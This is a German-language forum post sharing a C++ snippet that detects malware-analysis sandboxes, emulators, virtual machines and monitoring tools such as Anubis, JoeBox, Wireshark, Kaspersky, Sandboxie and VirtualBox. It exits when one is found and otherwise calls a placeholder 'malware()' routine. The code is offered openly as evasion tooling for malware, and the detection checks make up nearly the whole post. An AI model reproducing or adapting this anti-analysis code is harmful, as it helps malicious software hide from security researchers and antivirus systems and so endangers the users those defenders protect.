[C++] Anti Anubis, Threat Expert, Norman etc.
Joa, biete hier eine simples Snippet für euch an, dass ich vor nen paar Wochen geschrieben hatte.
Es unterstützt einige Sandboxies/Emus, wie Anubis, Threat Expert, Sandbox, JoeBox, Norman, WireShark, Kaspersky, iDEFENSE sysAnalyzer, Sunbelt, Sandboxie, Virtual PC, Virtual Box und andere.
Code:
#include <iostream>
#include <string>
#include <Windows.h>
#include <tlhelp32.h>
#include <TCHAR.H>
#include <dir.h>
using namespace std;
int detected = 0;
DWORD GetModulePath(HINSTANCE hInst,LPTSTR pszBuffer,DWORD dwSize)
{
DWORD dwLength = GetModuleFileName(hInst,pszBuffer,dwSize);
if(dwLength)
{
while(dwLength && pszBuffer[ dwLength ] != _T('\\'))
{
dwLength--;
}
if(dwLength)
{
pszBuffer[ dwLength + 1 ] = _T('\000');
}
}
return dwLength;
}
BOOL IsProcessRunning(const string szExeName)
{
PROCESSENTRY32 pce = {sizeof(PROCESSENTRY32)};
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if(Process32First(hSnapshot, &pce))
{
do
{
if(!strcmp((const char*)pce.szExeFile, (const char*)szExeName.c_str()))
{
return 1;
}
}while( Process32Next(hSnapshot, &pce) );
}
return 0;
}
BOOL IsUsername(const string comp)
{
char username[30];
DWORD nSize;
nSize = sizeof(username);
GetUserName(username, &nSize);
if(strcmp(username,comp.c_str()) == 0)
{
return 1;
}
return 0;
}
BOOL IsFileInFolder(const char* filefold)
{
char buff[255];
GetModuleFileName(0,buff,255);
if (strstr(buff, filefold))
{
return 1;
}
return 0;
}
BOOL IsFolderExist(const string comp)
{
if(chdir(comp.c_str()) == 0)
{
return 1;
}
return 0;
}
BOOL IsAnubis()
{
if (IsFileInFolder("C:\\InsideTm\\") == 1)
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsTE()
{
if(IsUsername("username") == 1)
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsSandbox()
{
if(IsUsername("user") == 1)
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsJB()
{
if(IsProcessRunning("joeboxserver.exe") == 1 || IsProcessRunning("joeboxcontrol.exe") == 1)
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsNorman()
{
if(IsUsername("currentuser") == 1)
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsWireShark()
{
if(IsProcessRunning("wireshark.exe") == 1)
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsKaspersky()
{
if(IsProcessRunning("avp.exe") == 1)
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsID() //Sunbelt & Sandboxie included
{
if(GetModuleHandle("api_log.dll") || GetModuleHandle("dir_watch.dll"))
{
detected = 1;
return 1;
}
else if(IsProcessRunning("sniff_hit.exe") == 1 || IsProcessRunning("sysAnalyzer.exe") == 1)
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsSunbelt()
{
if(GetModuleHandle("pstorec.dll"))
{
detected = 1;
return 1;
}
else if(IsFolderExist("C:\\analysis") == 1)
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsSandboxie()
{
if(GetModuleHandle("SbieDll.dll"))
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsVPC() //steve10120
{
HMODULE dll = LoadLibrary("C:\\vmcheck.dll");
if(dll == NULL)
{
return 0;
}
BOOL (WINAPI *fnIsRunningInsideVirtualMachine)() = (BOOL (WINAPI *)()) GetProcAddress(dll, "IsRunningInsideVirtualMachine");
BOOL retValue = FALSE;
if(fnIsRunningInsideVirtualMachine != NULL)
{
retValue = fnIsRunningInsideVirtualMachine();
FreeLibrary(dll);
detected = 1;
return 1;
}
FreeLibrary(dll);
return 0;
}
BOOL IsOther() //carb0n
{
unsigned char bBuffer;
unsigned long aCreateProcess = (unsigned long)GetProcAddress( GetModuleHandle( "KERNEL32.dll" ), "CreateProcessA" );
ReadProcessMemory( GetCurrentProcess( ), (void *) aCreateProcess, &bBuffer, 1, 0 );
if( bBuffer == 0xE9 )
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsEmu() //Noble & ChainCoder
{
DWORD countit, countit2;
countit = GetTickCount();
Sleep(500);
countit2 = GetTickCount();
if ((countit2 - countit) < 500)
{
detected = 1;
return 1;
}
return 0;
}
BOOL IsVB()
{
if(IsProcessRunning("VBoxService.exe") == 1)
{
detected = 1;
return 1;
}
return 0;
}
BOOL malware()
{
//some malware code
cout << "MALWARE" << endl;
return 0;
}
BOOL IsAll()
{
if(IsAnubis() == 1)
{
cout << "Anubis detected..." << endl;
}
else if(IsTE() == 1)
{
cout << "Threat Expert detected..." << endl;
}
else if(IsSandbox() == 1)
{
cout << "Sandbox detected..." << endl;
}
else if(IsJB() == 1)
{
cout << "JoeBox detected..." << endl;
}
else if(IsNorman() == 1)
{
cout << "Norman detected" << endl;
}
else if(IsWireShark() == 1)
{
cout << "WireShark detected" << endl;
}
else if(IsKaspersky() == 1)
{
cout << "Kaspersky detected" << endl;
}
else if(IsID() == 1)
{
cout << "iDEFENSE sysAnalyzer detected" << endl;
}
else if(IsSunbelt() == 1)
{
cout << "Sunbelt detected" << endl;
}
else if(IsSandboxie() == 1)
{
cout << "Sandboxie detected" << endl;
}
else if(IsVPC() == 1)
{
cout << "Virtual PC detected" << endl;
}
else if(IsVB() == 1)
{
cout << "Virtual Box detected" << endl;
}
else if(IsOther() == 1 || IsEmu() == 1)
{
cout << "Some others detected" << endl;
}
if(detected != 0)
{
cout << "Detected some Emulators/sandboxs, exiting...\a" << endl;
return 1;
}
cout << "Nothing found, executing malware..." << endl;
malware();
return 0;
}
int main()
{
IsAll();
system("PAUSE");
return 0;
}
